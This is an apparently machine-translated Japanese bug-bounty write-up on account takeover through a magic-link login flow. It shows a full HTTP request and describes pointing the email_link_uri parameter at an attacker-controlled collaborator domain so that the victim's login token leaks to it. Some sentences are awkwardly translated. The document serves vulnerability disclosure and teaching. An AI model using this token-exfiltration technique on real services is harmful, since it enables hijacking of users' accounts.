ソース:
脆弱性:ATO, CORS
訳:
サインアップから始める
サインアップ プロセスでは、 存在しない 電子メール アドレスでサインアップする 電子メール アドレスでサインアップする方法と、既存の 方法の 2 つの登録方法があります。
最初の種類のサインアップは通常のサインアップです。
メールアドレスを入力して送信をクリックするだけです。
あなたが電子メール アドレスの所有者であることを確認するため、確認電子メールが送信されます。
メールアドレスを確認したら、情報(名前、会社名など)を入力し、アカウント作成プロセスを完了します。
既存のメールアドレスでサインアップする
2 番目のオプションは、「既存の [ホスト] アカウントに参加します」という文の横にある丸にチェックを入れた場合にのみ機能します。
このオプションには、次の 2 つのシナリオが含まれます。
1 つ目 : すでにアカウントに登録している場合は、パスワードを必要とせずに直接ログインできるマジック リンクを含む電子メールが送信されます。
2 番目 : 以前に電子メールに登録していない場合は、電子メールを確認するだけで、上記のようにサインアップ プロセスを完了できます。
ただし、私たちは主に 最初のシナリオ に焦点を当てます。
パラメータの誤用
POST /account/v2/auth/magiclink/email/ HTTP/2
Host: sub.host.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://app.host.io/
Content-Type: application/json
Content-Length: 192
Origin: https://app.host.io
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{"email":"myFirend@email.com","referral_code":null,"email_link_uri":"https://host.io","require_ad_spend":false,"account_type":"Standard"}
このリクエストを送信すると、2 つのことがわかりました。
1 つは「 email_link_uri 」パラメータ、もう 1 はレスポンス自体です。
調査後に受け取った応答は、被害者に送信されログインを可能にするマジック リンク上にあるトークンではありません。
被害者がログインできるようにするマジック リンクは次のような構造になっています。
https://host.io/?login_token=[different_token]&account_type=Standard&require_ad_spend=False
このリンクには、応答にあるものとは異なる一意のログイン トークンが含まれています。
ここでのトリックは、被害者に送信されたトークンをどのように漏洩できるかということです。
「 email_link_uri 」パラメータを覚えていますか?
Web サイトの URL 自体ではなく、コラボレーターのリンクを保持できるように操作してみました。
しかし、奇妙な反応に遭遇しました。
それが私の頭の中で「CORS 設定ミスのバイパス」を引き起こし。
以下にリンクを追加してみました。
https://host.io.muk4beh062sbtx1v86cglfhd74dx1npc.oastify.com
そして、はい! 成功しました!
被害者に送信されたリンクは次のようになります。
ここで、被害者がこのリンクをクリックすると、私のコラボレーション サーバーにアクセスし、被害者のログイン トークンが以下のように私のサーバーに送信されます。
これで、コラボレーター サーバーを削除し、次の URL をそのままにして被害者のアカウントを引き継ぐことができます。
要約すると、パスワードのリセット、電子メールの変更、パスワードの設定などの重要なリクエストのすべてのパラメーターを常に検査してください。存在すると想像できなかった脆弱性が発見される可能性があります。
ほなほな。